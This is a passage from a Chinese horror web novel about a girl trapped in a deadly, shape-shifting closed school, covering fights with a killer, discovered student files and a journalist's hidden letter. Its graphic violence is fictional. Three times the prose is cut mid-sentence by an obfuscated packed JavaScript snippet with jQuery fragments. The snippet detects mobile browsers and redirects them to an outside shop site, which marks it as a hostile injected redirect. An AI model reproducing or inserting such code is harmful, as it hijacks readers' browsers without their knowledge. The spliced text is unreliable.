青于猛地向外蹿出去,却被詹玉婷揪着衣领一把扯了回来,然后用手臂紧紧地环抱着她达到控制的目的。 “你干什么!”青于压着声音吼了一句。 詹玉婷急切地说:“你别出去,会死的!你打不过他,他那么高大,手上还有武器……你不行的。” 青于挣脱她的手,用手指蹭了蹭发痒的鼻尖,她盯着那个人,极度冷静地说:“如果我被他杀死了躺在地上,那你可以说我不行。但现在我试都没试,你凭什么说我不行?你凭什么判断我的能力在他之下?” “在我倒下之前,谁都不能说我不行,我自己也不可以。” “我行!我不管做什么都行,做什么都会成功!”青于咬了咬嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582458|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇,看着她一副凄惨的模样,轻轻叹了一口气说道:“詹玉婷,把眼泪擦干净,不要再哭了。你也是一样的,不管做什么都行,做什么都会成功。” 在詹玉婷愣住了。 “怕的话就把眼睛闭上,我很快就能解决他,然后带你出去,记得你说过的话。” 青于突然弯腰,迅速从仓库里取出自己的那个手电筒猛地朝通风口外的杀人狂扔过去,她的户外手电筒有着坚硬的金属外壳和沉甸甸的重量,撞在头盔上发出一声巨响,杀人狂的视野受阻,手中的电锯歪了一些,锯齿擦着通风口的边缘划过,溅起一串火花。 “后面的东西……”詹玉婷的尖叫还没说完,青于已经转身,将左手上拿着的书包用力往后甩,一声闷响后她确定了那人的位置,刀刃紧随而上,瞬间刺进一具身体里,刀刃在伤口里快速搅弄,在挣扎的力道逐渐变弱后才猛地抽了出来。 滚烫的液体喷在她脸上,是腥甜的血。 她转身故技重施,将书包狠狠甩向杀人狂的头盔,被躲过了,高速转动的电锯朝着她伸过来,试图切断她的手臂。 往回收手已经来不及了,青于没有躲电锯,她握紧书包,再次甩向杀人狂的手臂。 锯齿没入她的手臂,她的手包也砸中了杀人狂的小臂,将没入肉里的锯齿击退了一些。 她在这个空当里快速反应,先是往后退躲出了杀人狂的攻击范围,然后不停地伸脚踹在电锯中间的轴上,让锯齿不停地攻击通风管道内侧的水泥,她想试着用这种方法损坏电锯。 杀人狂体型很大,所以不敢贸然进管道里,这就是她的优势。 接连成功了几次后,管道内侧留下了很多被锯齿攻击的痕迹,杀人狂反应过来这样的僵持对自己并没有好处,所以开始往后撤。 青于快速从书包里翻出湿漉漉的校服扔过去把电锯罩住,先是校服短袖,然后是校服长裤,成功让锯齿卡住了。 电锯在黑暗的管道内,杀人狂脸上还遮着一层黑色的面屏,所以青于猜测他看不清楚。她的行动为她证实了这个猜测,她能连续用脚踹中锯齿中间那块轴,就说明了杀人狂根本看不清楚管道内发生的一切,不过是凭借电锯的威力在强撑。 锯齿被卡住后,青于迅速蹲着上前,追上杀人狂往后退的手,反握杀猪刀朝着他的手腕狠狠刺下,然后快速用脚踩住他手腕处的伤口,刀刃一路往上滑,从手腕到小臂,然后被骨头卡住。 这一条伤口很深,切断了好几条静脉和动脉,鲜血疯狂涌出来。 杀人狂惨叫一声,扔下没用的电锯把手收了回去。 青于立即跟上,在他手离开管道的那一刻,青于瘦小的身体也蹿出来了,迎面一刀掀翻了他的头盔,然后头颅和脖颈这两个最容易致死的部位暴露了出来。 男人长着一张平平无奇的脸,胡子拉碴,不修边幅。 他抱着手往后退,眼神惊恐地看着青于,语无伦次地说:“不、不要杀我……我是被迫的,是他们,是他们命令我的……” 青于站在他面前停下了脚步,然后问道:“‘他们’是谁?” “就是……”话音未落,男人不知从哪儿摸到一把消防斧,狠狠朝着青于砍了下来。 青于灵活避开后用左手的书包去接消防斧,两相碰撞,一声闷响,消防斧被嵌在书包里了。 青于手起刀落,刀刃迅速划过男人的脖子,鲜血喷溅,这下子,他想说也说不了了。 但是青于从一开始就没想听他废话,因为这副本里的人根本不会说实话。 与其指望着从他们口中得到信息,不如靠自己去找。 外面的风很大,血腥味更浓了。 青于环顾四周,发现这个环境像一个铁笼子,虽然很开阔,但是边缘处围了一圈的铁栏杆,栏杆之间的缝隙很小,不足一拳。顶上是平整的黑色,看起来像金属板。 路灯后面有一道门,是一块厚实的金属板,上面只有一个凹槽。 青于看着那个凹槽,突然觉得这个形状自己见过。 她从书包里翻出一个金属牌,是在乐园那里得到的,上面刻着“07”。 将金属牌嵌进去,严丝合缝。 门上出现了一排红字:密码错误。 不是这一张。 真麻烦,管道里那几个人应该都有,但是她忘记搜了。 这时,旁边伸出了一只手,上面有一个金属牌,上面写着“10”。 詹玉婷站在她身边说:“管道里的那个人身上的,试试吧。” 青于将金属牌嵌进去。 “咔嗒”一声,门开了。 23.平江三中(14) 灯光璀璨的操场,精心布置的舞台,穿着校服的女学生们戴着毛茸茸的兔子面具,一模一样的学生头,一模一样的校服,一模一样的面具,身高稍微有点差距,但是那差距太小了,看起来并不明显。 所以,青于眼里看到的,是一群一模一样的人在聚会。她们脸上戴着兔子的面具,可眼睛里却散发着肉食者的寒光,那眼神静静地看过来,像一种行刑前的哀悼。 当身后的詹玉婷出现时,那些目光移开了。 那一瞬间,仿佛青于也成为了她们的同类。 她们三三两两地聚在一起,或是站在角落里窃窃私语,或是坐在椅子上亲密地玩闹,破败的操场被铺上了地毯,荒凉的花坛上放着巨大的玩偶,彩灯绕了一圈又一圈,闪烁的灯光让这个场景变得梦幻。 梦幻、失真。 舞台上有穿着玩偶服的人在表演,背景是森林,憨态可掬的小熊在跟小兔子讲大灰狼的故事。 夸张的动作,模糊了性别的声音,笨手笨脚的小熊和蹦蹦跳跳的小兔子…… 荒诞。 青于在强光的刺激下眯了眯眼睛,她站在门边,白色的衬衫已经彻底看不出原本的颜色了,黑色的西裤明明占满了血污却一点儿也看不出来。 身后是杀人狂的尸体和满地血污,身前是热闹的聚会和童趣的舞台剧。 她手里还拎着卷了刃的杀猪刀,书包上还挂着那柄消防斧,沾在身上的血很臭,膝盖因为擦伤严重难以弯曲,手臂上被锯齿割裂的伤口还在流血,手肘上的擦伤也火辣辣的疼。 太多太多,太多的因素影响她的思考。 她呆滞地站着,突然不知道自己逃离的意义是什么。 是从一个困境逃到另一个困境吗?是从一个绝望走向另一个绝望吗?是一次次步入陷阱然后走到末路吗? 她反抗后杀人的血,她自己受伤后流出的血,同样的滚烫炙热,怎么会把她引向这么一条没有出口的路呢?她的挣扎,她的不甘,她的愤怒,她渴望的自由,又是什么呢? 好累啊。 视野变得模糊,青于脱力地靠在门框上,抬手擦去眼中渗出的眼泪,嘴角控制不住地想要往下垂,她颤抖着想要大哭一场,想要不顾一切地大哭一场。但她没有机会,也没有时间去哭。 沾了血的手紧紧捂着眼睛,眼泪从紧闭的眼皮中点点溢出,睁眼时夺眶而出,一行泪、两行泪、三行泪,满脸都是痛苦的泪水。 她在颤抖,捂着脸的手在颤抖,卡在喉咙里的哽咽在颤抖,酸软的双腿在颤抖,疼痛的手肘也在颤抖。 因为冷而颤抖,因为恐惧而颤抖。 詹玉婷背着手站在她旁边,她身上的西装外套很大,空荡荡地挂在她单薄的肩膀上,像个偷穿大人衣服的小孩儿。 她歪着头,笑眯眯地看着青于,清了清嗓子,格外兴奋地说:“恭喜你!你成功打败其他人获得了参与狂欢晚会的资格!怎么样,是不是兴奋极了,你可是第一个参加狂欢晚会的新人!” “相信我,你会爱上这里的。这绝对是你参加过的,最最最有意思的狂欢晚会。” 青于看着詹玉婷那副兴奋的模样,心中一阵厌恶。她将脸上的泪水抹去,用手狠狠摸了一把手肘处的擦伤,用疼痛来唤醒理智。 强烈的疼痛下,眼泪暂时止住了,那些令她心悸的颤抖也稍微减弱了些,她咬着牙极力克制着自己的情绪,声音发呀地问道:“这到底是什么地方?你和程叶是一伙儿的!” 詹玉婷拉着她的胳膊晃了晃,脸上依旧带着笑,眼神却变得有些吓人。 “你说错了哦,诱饵是没有资格参加晚会的。至于这里嘛,就是狂欢晚会啊,是大家尽情享受的时刻,在这里没有烦恼,没有痛苦,只有快乐和自由。走,跟我一起去玩吧!” 舞台上,小熊和小兔子的表演还在继续,周围的女学生们都被逗得哈哈大笑,只有青于一脸冷漠。 突然,舞台上的灯光暗了下来,音乐也变得诡异又急促。 一个用楞纸板裁成的爪子被一根钢丝吊着从天而降,在小兔子身上划了一下,接着又被吊了起来,舞台上的小兔子惨叫一声,动作夸张地倒在地上。最后,舞台上方有个红色的小桶倾斜了一下,红色的液体顺势泼了下来,将小兔子的全身染红。 这时,小熊捂着脸尖叫了一声,紧接着大喊道:“救命啊!大灰狼杀死了无辜的小兔子!救命啊,小兔子们快来啊,我们要打败大灰狼,为小兔子报仇!” 舞台上,一个戴着大灰狼头套的人被推了出来,他捂着脸疯狂惨叫,在小熊的推搡下从舞台上掉落,然后挣扎着爬起来满场乱跑。 他跑过来时青于看见了,头套下的那张脸是王老师。他的脸部正在流血,细看才发现,他的面部皮肤和那个大灰狼头套是缝在一起的,乱糟糟的缝线勒进头套里,也勒进他的皮肉里,他惨叫、哀嚎、痛哭,偏偏无法求饶。 这个地方只有操场和小花坛,其他的建筑物都消失了。 教学楼、宿舍、食堂、保安亭,什么都没有,只有热闹的操场和舞台。他没地方可以躲,只能在明亮的操场上慌乱逃窜,被兔子们追得惨叫连连。 所有学生都沸腾了,她们兴奋地尖叫着,随后情绪高昂地冲了上去,偏偏又保持着匀速,让那大灰狼逃不掉也死不掉,就这么不远不近地追着,兴奋地尖叫声一声比一声高,追逐的人越来越多。 青于无意深究他的舌头遭受了怎样的对待,她只是想搞清楚,这一切究竟是怎么回事,她要怎样才能离开这个诡异的学校。 詹玉婷兴奋地站起来想要去追逐王老师,青于突然伸手拽住她,“你说过,只要我们顺利出来,你就会解答我的一个问题。我现在就要问,你的答案必须是真实的。” “好啊,你问吧。”詹玉婷无聊地靠在沙发上摆着腿,她手里把玩着一个小熊玩偶,像玩偶剧那样,拿着玩偶晃晃悠悠地,一会儿往前一会儿后退,像是在模拟追击大灰狼的游戏。 “怎么才能活着离开这所学校?”青于问完就盯着詹玉婷的脸,紧张地等待着一个回答。 “你看。” 詹玉婷话音一落,戴着大灰狼头套的王老师死在青于的面前,血溅了她一身,还有那双死不瞑目的眼睛,绝望地瞪着,眼珠子格外凸出,像是要从眼眶里逃出来一样。 “这是第一个。”詹玉婷说着站起来,拽着王老师的尸体往小花坛走,将尸体扔下后又回来,坐在青于旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593545|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边说:“当小花坛的尸体堆积到十具,隔日垃圾车就会来,坐着垃圾车可以离开。” 她耸了耸肩,笑眯眯地说:“但是你已经没办法离开了,这次乐园只邀请了十个客人,再加上猎物王老师,会有十具尸体和一个猎人。本来的流程是,他们一个个爬入通风管道追我,然后一一出现后被我们屠杀,会凑齐十具尸体为那个活下来的猎人换取离开的机会……” “但是现在,好几个人没有到达这里就死了,他们的尸体会被影子拖走吃掉。凑不齐十具尸体,垃圾车也不会来了。” “你就别想着离开了,留在这里吧,这里很有意思的。放心吧,我很喜欢你,不会让影子吃掉你的。” 詹玉婷笑嘻嘻地说着,然后伸手小心翼翼地摸了摸青于的头发,她手上还有王老师的血,黏糊糊地站在青于的侧脸上,阴冷腥臭,很恶心。 青于看了她一眼没有回答,她想起了另一件事。 符让想让自己成为猎物,是不是说明他们已经知道了规则,而且他们也杀了人,导致最后尸体的数量不够,所以才想着用自己的尸体来补足数量。 青于思考着她杀了几个人,乐园里的一个,管道里三个,一共四个。如果符让他们杀了一个,那就是五个,要找五个人来补足数量。 确实很困难。 符让不会死,所以不能算,王美燕加上陈建设只算两个,朱芸他们下落不明,怎么找也还差三个。 还有一件事,影子是什么? 是不是在宿舍遇见的那个东西,还有袭击安全区的那个怪物,那是不是詹玉婷口中的影子? 她问詹玉婷,“影子是什么?” 詹玉婷想了一会儿,然后皱着眉告诉她:“那是学校里的怪物,你遇见了就赶紧跑,可以跑来找我,我帮你驱赶它。它一般只出现在宿舍楼,但是如果有人攻击了它,就会被它缠上。你要记住,在没有光源的地方一定要检查地上有没有血,影子会藏在血里,然后缠上你。” 青于应了一声,然后往舞台的反方向走。 詹玉婷连忙问:“你去哪儿?” 青于说:“我去门那边捡我的手电筒,你要一起吗?” 詹玉婷说:“不去了,我们要商量狂欢晚会的下一个节目,你赶紧回来啊。” 青于回到那个到处是血的铁笼子里,从地上捡起了自己的手电筒。 杀人狂的尸体已经消失了,地上只有凝固的血,腥臭的血。 青于拿着手电筒,再次爬进了通风管道里。 詹玉婷说得逃生方法应该是正确的,但不一定是唯一的。 徐念雨说过,她希望自己周日能跟程叶一起离开学校。 这也是个选择,而且周日就快到了。 去找程叶?或者符让? 不对,都不对,要去找线索。 教学楼的二楼还有很多上了锁的房间,那些房间里会藏着什么?宿舍楼里还有教师宿舍,那里面又有什么?还有那张照片,U盘里的那张教师照片,是个五官清秀的男教师,可是那张脸,青于在宿舍楼里见过,不过是以另一种形式。 那浮于黑影之上的,流动的五官。 青于能感觉到,真相已经很近了。 24.平江三中(15) 青于爬出通风管道后回到了热闹的乐园,属于乐园的狩猎依旧在进行。 在舞台上,程叶尽职尽责地控制着追光,每次那圆形的追光将人框住后,都会迎来一阵欢呼声,穿着黑色西装的猎人们一拥而上,猎物尖叫逃窜。 其实都是相似的,乐园和狂欢晚会都是同样的狩猎游戏。 唯一不同的是,乐园的猎人成了狂欢晚会的猎物,狂欢晚会的猎人曾经在乐园当过猎物。 穿过乐园,进入那向上的暗道,一路往上就能回到那间被布置成卧室的直播间。 暗道出口的挡板被放下了,青于使劲儿往上顶,她用双手推,歪着头用肩膀顶,一下又一下,一下接着一下,用尽了自己最大的力气,就算那挡板毫无变化也灰心,只要她还有力气,只要她还有力气! 她没想过往后退,她一定要冲破这挡板出去! 直到肩膀发麻,那挡板才微微松动,青于松了一口气,连忙伸出一只手顶了顶,在挡板活动时将另一只手里的刀插进了缝隙了,然后一鼓作气将那挡板撬开了。 爬出暗道时青于觉得自己没力气了,手脚酸软得不行,身上的伤口也疼。 她靠在墙壁上休息了一会儿,急促地喘着粗气,越喘越觉得累,那种从身体内往四肢百骸迅速蔓延的累几乎要将她拖垮,疲惫来势迅猛,眼皮格外沉重,好像只要一合上眼就能休息了,一切都会结束。 她挣扎着往前走,可沉重的脚步却成了此时最大的拖累,身体好重,这一刻,青于觉得自己撑不住这具沉重的躯体了。 她紧紧咬着牙,又往前挪动了一步。肩膀上挂着的书包沉甸甸的,她不停地深呼吸,想要恢复体力,想要控制情绪,可效果都是徒劳的。 眼眶越来越热,悔恨和愧疚同时翻涌,一边在责怪她体力不够,一边在训斥她没有完成妈妈的心愿,去看那片海。 青于倒在地上,她第一次想到了放弃,并且开始游说自己。 我就是不行,我体力不行,我不够聪明,所以我注定出不去。 我不行。 她一遍又一遍地念叨着“我不行”,可身体却还是撑了起来,细心地拍去书包上的灰尘,然后用脏兮兮的手擦去了脸上的热泪,继续一步一步往前走。 通往安全区的通道已经出现,挡在那里的救护车消失了。 青于慢慢走在通道里,脑子里闪过了许多画面,而那些画面里最清晰的就是王美燕用笔记本帮她打开U盘的画面,每一个东西都变成了慢放,文件夹里的每一张照片都无比清楚。 她依旧在跑,只不过奔跑的速度慢了很多。 回到教学楼,从上往下检查每一层楼。那些上了锁的教室,她用消防斧和杀猪刀轮换着撬开了门,好在这所学校很简陋,所有的门都是木门,锁也是老式的锁,只要有一条缝隙就可以将刀刃塞进去把锁舌顶开。 四楼没有线索。 三楼没有线索。 二楼……有一些线索。 在一个房间里,摆放着许多木质陈列架,上面堆放着很多积了灰的档案袋。 但是这个房间好像曾被火烧过,三分之二的区域都是漆黑的,木架子成了炭,上面的档案袋也变成了白色的灰烬。 青于将那些完好的档案袋抱下来放在地面上,然后坐在墙角一个一个打开。 不多不少,刚好三十个。平江三中的女生人数,就是三十个。 她打开了第一个,里面只有一张简单的个人信息表。 上面写着名字和年龄这样的基本信息,然后是占据了半张纸的一个大方框,那个框里的内容是:入学原因。 姓名:张安怡 入学原因:父母想让她挣钱,所以送到了我们学校。跟她父母签有协议,收入二八分,每月收入分成保底两千,在校时间为五年。 姓名:王招娣 入学原因:患有精神类疾病,父母不想抚养,所以送到了我们学校。每年支付学校一千元看护费,在校时间十年(到期后自动续约)。 姓名:詹玉婷 入学原因:跟家里关系紧张,和后妈吵架动手,到警局举报继兄猥亵,她父亲想要她学会听话,变得乖巧一点。每年支付学校三千元学费,在校时间三年。(特别标注:家长每个月会打电话过来询问,并且要求她通话。) 姓名:陈悦 入学原因:沉迷网络,和人网恋,被家里人送到学校戒网瘾。每月支付学校三千元学费,在校时间三年。 姓名:徐念雨 入学原因:严重精神障碍,有攻击倾向,需要单间隔离,家里不管,可以随意制定培养计划。每年支付学校一千元看护费,在校时间十年(到期后自动续约)。 …… 青于把所有的档案都翻遍了,始终没找到属于韩喜乐的,但是韩喜乐确实是真实存在的,这里有她的校服,有她的课桌,而且程叶也认识她…… 对了,程叶。这里为什么没有男生的档案? 她紧紧攥着手里的牛皮纸袋,突然发现档案袋上的字迹不对劲,将上面覆盖着的厚厚一层灰尘擦去,露出了几个褪色的红字:平江女子学校。 平江女子学校…… 直播里提到过、乐园门口的牌匾也出现过、直播间还挂着平江女子学校的校花选拔。 所以,这里曾经是平江女子学校,一所充斥着虐待和压迫的学校。 而程叶和那些男生应该都是改了校名后才入校的,詹玉婷提到程叶时用了一个词,“诱饵”。 她说程叶是“诱饵”,那在钓什么呢? 钓全校仅一个的男老师?钓那些固定出现的客人? 青于开始往下走,一楼有王老师的办公室,第一天晚上,她曾在办公室的门缝儿里看见一只眼睛。 再次回到办公室面前,她用脚将门踹开,里面确实有一只眼睛。 也只有一只眼睛,那眼睛浮动在一滩流动的黑影上,像一片叶子落进了水塘里,晃晃悠悠的。 青于出现后,那黑影迅速向上拉伸变成一个人形,脸部光秃秃的只有一只眼睛,死死地盯着青于。 青于迅速转身往外跑,刚跑到操场上就想起了什么,她猛地转过去看向那个黑影,突然喊道:“韩其、老师。” 黑影停下了,那只眼睛一直在眨。 突然,耳边响起了一个从未出现过的声音,她说:“你找到我了,这一回,你来当我吧。” 青于往后退了好几步,看见自己刚才站的位置上有另一个黑影,那个黑影上有一张嘴。 眼睛黑影目光追随的动作很快,每次都是它先看过来,然后间隔一两秒,嘴巴黑影才会冲过来。而眼睛就站在那里一动不动,静静地注视着。 青于往宿舍楼的方向狂奔,一路上了三楼,但是三楼很空,只有一个房间。 那扇门虚掩着,她冲进屋里反手将门关上了。 屋里很简陋,一张床、一张折叠桌、桶装水、垃圾篓,桌面上摆着香烟、打火机、水杯、剪刀、针线盒、笔和卷纸,还有一张皱巴巴的白色打印纸。 打印纸上写着:教师必须在天黑前回到宿舍,入夜后,不管听到什么动静都不能离开宿舍。 没什么东西…… 青于转身想离开,就看见垃圾桶里扔了很多白色的纸团,柔韧的卷纸被轻轻地捏成一团,整个垃圾篓里都是纸。 青于弯腰捡起一个纸团,打开后上面是黑色的字迹。 【救救我,救救我,这个学校不对劲,请您救救我。】 【如果您捡到了这个纸团,请帮我报警,我被困在平江三中了。不是平江市第三中学,是平江三中,这里的地址是……】 【您好,我叫王取,我被非法监禁了,如果您发现这个纸团,请帮我报警。我家里人的联系方式是……】 【您好,请救救我。请不要和学校里的学生搭话,发现纸团后立刻报警!】 把求救信号扔进垃圾篓里,所以,王老师也知道离开的唯一办法是垃圾车。 他是怎么知道的呢?这所学校里的学生不可能告诉他的。 这个房间里一定还有秘密。 青于找了一圈没找到,就顺手拿起桌上的打火机装进书包里,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599232|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有可以生火的工具,这个打火机不错。还有烟,可以拿给门口的那个老头,让他开门。 烟盒很重。 青于打开,将里面的东西倒了出来,是一把小小的折叠刀和一张折成小方块的纸。 【你好,我叫韩喜乐,是平江市的一名记者。我表弟因为叛逆被父母送入了一所全封闭式学校,可入校的第二年就音讯全无,为了寻找他,我走遍了平江市所有的封闭学校,终于找到了这里。 不管你是学生还是老师,当你看到这封信的时候,请立刻向外界寻求支援。每周会有不定时的垃圾车到达学校,那辆垃圾车是和外界沟通的唯一途径,可以尝试把求救信号混进垃圾里。 我在这里当了一个月的老师和一个月的学生,但是并没有获得什么太明确的信息。只能提醒你不要试图参与他们的话题,不要和他们沟通,如果你是老师,待满一个月就可以离开,但是千万不要接受“钥匙”和“邀请”,否则你会死。不要相信任何人,千万不要相信任何人。 如果可以,你能帮我找找我的表弟吗?他叫程叶。他是个好孩子,只是有点叛逆,并不坏的。】 王老师入职只有七天,却参与了狂欢晚会。所以,他是接受了邀请吗? 邀请他的人一定是程叶。第一天在安全区的时候,有人提到程叶和王老师说了“钥匙”,还导致了一个学生死亡。 所以,王老师可能没有接受“钥匙”,他只是在和程叶的沟通中提及了这个词。 而且他会信任程叶,是因为韩喜乐的这封信。或许在他的视角中,程叶是好人。 所以詹玉婷说“诱饵”,钓的可能是王老师,也可能是韩喜乐。 先是老师韩其,然后又是学生韩喜乐,她一定没能成功离开学校,那是谁帮她伪装的呢? 是徐念雨。 韩喜乐为什么没能找到程叶?为什么他们要说程叶的女朋友叫韩喜乐? 她作为学生的身份在这所学校里待了一个月,一个月有几个周日,四个。那些学生却说,她经常跟着程叶出去,还说程叶经常夜不归宿,会住在韩喜乐的宿舍里。 这是不是可以说明,在韩喜乐的时间线里,程叶并不是程叶,只是一个用着程叶名字的诱饵。而现在,因为王老师得到了这封信,所以程叶的诱饵身份被延续了,这一次,程叶是真的程叶,但是真正的程叶不知道韩喜乐已经死了。 “咚咚咚” 门被敲响了,脚步声有点熟悉。 青于拿好武器将门打开,门口站着徐念雨。在徐念雨身边,还站着一个人,一个头发很长,满脸烂肉没有五官的人。 青于记得她,第一天晚上,她在厕所里嚎叫着“我不漂亮”“我好丑”之类的话。 “新同学,发现真相了吗?” 徐念雨说着朝她伸出手,苍白的掌心没有一点血色,她说:“你要加入我们吗?成为韩喜乐,以程叶女朋友的身份离开,或者成为韩其,以老师的身份离开。明天,就是周日了。” 青于要崩溃了,这又是哪个时间节点? 就在她思绪越来越乱的时候,徐念雨递过来一套校服,对着她说:“这是韩喜乐的校服,穿上之后你就能成为她,然后离开了。” 青于瞬间头脑清明,这里有针线盒、剪刀、笔,塑料片是从垃圾篓边缘剪下来的。 所以,这个时间坐标她经历过。她接受了这件校服,为了提醒自己就在袖子的折线里缝进了一个塑料片,上面写着“青于”,为了防止自己成为韩喜乐。 正是因为这次她接受了徐念雨的邀请,导致第二天在食堂和操场徐念雨对她的好感度增加,提醒了她很多东西,并且十分抗拒她和詹玉婷接触。 徐念雨和韩喜乐是一个阵营,除了她们之外的所有人都是另一个阵营。 而眼前这个面目全非的人,就是韩喜乐。 可是接受邀请也无法离开,青于还站着这里,就代表着这个选择是错误的。错误的原因她暂时不知道,她只知道,这一次的重复,不是让她重蹈覆辙的。 现在唯一的问题是,该怎么拒绝? 25.平江三中(16) “我需要想想。” 青于的声音干涩极了,紧绷的情绪被逐渐拉紧成为一根随时可能断裂的线,她的脑子已经快转不动了。疲惫、困倦、紧张、恐惧,所有情感复杂地交织着,她好像看到了自己被按在砧板上的模样。 “她真的是韩喜乐?你们怎么保证我穿上之后就能安全离开?” 她边说边不着痕迹地往后退了小半步,慢慢伸手扶住了冰冷的门框。 徐念雨勾起嘴角,皮笑肉不笑地说:“想想?你需要多少时间想想?” 她伸出的手缓缓垂落,而后安静地审视着青于。旁边的韩喜乐毫无反应,如同一个可怖的背景板。 沉默在狭小的门框内外蔓延,空气黏稠得如同凝固的血浆,疯狂往青于的口鼻里灌。 青于屏住呼吸,感觉每一秒都被无限拉长。 她闭了闭眼,深深吸了一口气然后慢慢吐出来,说道:“我可以拒绝吗?” 徐念雨没忍住笑了一声,然后抬起手强硬地将校服扔在她身上,冷漠地说道:“换上校服,跟我们走。” 青于接住那校服后瞬间扔了出去,正好打在徐念雨的脸上,“砰”的一声,门被她关上了。 关了门,上了锁,她转身朝着阳台的方向冲过去,迅速翻越栏杆跳到旁边窄窄的平台上。只有三楼的教师宿舍有阳台,一楼和二楼都是没有的,但是三层楼的外缘都有一处窄窄的平台,只有巴掌宽,上面落了些鸟屎。 青于不确定自己能从三楼的平台跳到二楼的平台,但是她已经没得选了。 黑色的影子从旁边的宿舍里蔓延出来,贴在墙面上朝着她过来了。 青于心一横,蹲下后用双手扣住平台的边缘,然后双腿往后一退,身体就超出平台的范围落了下去,距离二楼的平台还有点高,但是那黑影已经快贴到她手上了。 松开手后,双脚短暂地在二楼的平台上停了一瞬间,随后身体因为惯性往后仰,整个人就开始往下坠。 下方是水泥地面,落下去不死也残。 青于咬着牙闭着眼,经历快速的降落后,她的身体重重地砸在一个柔软的物体上。 迟疑地睁开眼后,看见了一个充满气的垫子。身边站着王美燕和陈建设,王美燕将她拉起来塞进救护车里,那黑影就被隔绝在外了。 黑暗的救护车里,王美燕给她处理伤口,陈建设在旁边说着话。 “你那个U盘掉在地上后被我们捡到了,我们破译了另一个文件的密码,发现是一些新闻。真正的平江女子学校已经消失很久了,后来,几个学生发现了这处建筑,就在这儿弄了个密室,也叫‘平江女子学校’。” “他们搞直播的,带着同学来玩,然后装鬼吓同学。但是突然有一天,他们的直播间消失了,那些来过这里的学生全部疯了,女生开始毁容,男生就穿女生的衣服,没过多久就都自杀了,在那之后这里就成了有名的凶宅。直到再次开启,变成‘平江三中’。” “每隔几年,这所学校就会以全新的面貌打开,而且每次都能骗到人。开启一段时间后,这所学校又会消失,那些人也会被困在这里面。” “这所学校在吃人,那些学生就是它的诱饵,不断地吸引人进来。那些直播可以在很隐蔽的网站查看,观看直播后想要来亲历的话,就会有人联系他们,然后他们就会成为猎物。就算侥幸逃出去的幸存者,也会被奇怪的东西缠上,最终自杀。” 全部说完之后,陈建设问她:“离开的方式你知道了吗?” 青于点头,说:“垃圾车。” “嗯,唯一的办法就是等垃圾车出现。打开大门出去的人都死了,符让的钥匙在你手上吧,那是大门的钥匙,你千万别打开。” 青于从书包里拿出那把钥匙,在手里转了好几圈,然后才说:“可是死亡人数不够,垃圾车不会来。” “人数不是唯一的触发条件,”王美燕接话,她手上包扎的动作不停,“我们用符让测试过了,死亡次数也算。垃圾车每周都会来,只是时间不确定,只要每天有十次死亡,日期就会往后推一天,按照现在的进度,明天就是周日。” “但是周日,程叶一定会带一个人离开。我们现在不确定这件事是否会影响垃圾车的到来,两者之间有没有什么冲突。” 救护车狭小的空间里,只剩下三人压抑的呼吸声。 不远处教学楼前方的阴影里有咀嚼声传来,很大的咀嚼声,还伴随着惨叫声。 青于紧紧抱着自己的书包,她坐在救护车门边的位置上,王美燕坐在她旁边。 从上车到现在,碘伏都没有打翻,也没有沾在她书包上。所以她还在等待,等待那个导致碘伏沾在她书包上的变故出现。 是的,这一个事件她也经历过。 在那个直播的房间里,她发现了自己的书包上有一片碘伏的痕迹,而那次,她看见了救护车。 陈建设的天赋就是准时到达的救护车。 外面的天已经亮了,但是一直维持着天际微白的模样,始终没有变化。 青于耳边响起一声叹息,随后一只手猛地推了她一把,车门同时打开,她被扔了下来。 她落地的瞬间,救护车消失了。书包上那个碘伏的痕迹加深了,没盖好的碘伏在洒在了她的书包上。 前方的教学楼扭曲着投下一片巨大的阴影,那阴影蠕动着、沸腾着,正在往前蔓延,逐渐朝她逼近。 后方的宿舍楼门口,徐念雨和韩喜乐正站在那里等着她。 她们脚下也有同样的黑影,正在张牙舞爪地蔓延着,等待着吞下猎物。 前后都是困境,青于站在原地,心里平静得不可思议。 好像是终日的噩梦终于迎来了真正的杀机,她等待着死亡降临的一瞬间,等待着一场解脱。漫长的疲惫终于有了结尾,强撑的身体失去了力气,狼狈地跌坐在地上,然后呆滞地看着学校的大铁门。 突然吹来了一阵风,是带着咸味的风。 她仔细去嗅,那风里还有腥味。 咸味的、腥味的风。 妈妈说过,海边的风就是这样的。 青于挣扎着爬起来,踉跄着往大门的方向跑去,她已经听不到周围的声音了,也看不到那些近在眼前的黑影,她的眼里只有大门,打开那扇大门,然后冲出去,在那一边,会不会有海? 她颤抖着将钥匙插进锁孔,然后打开了大门。 门口停放着一辆巴士,里面没有人。 青于往前,想要上车。 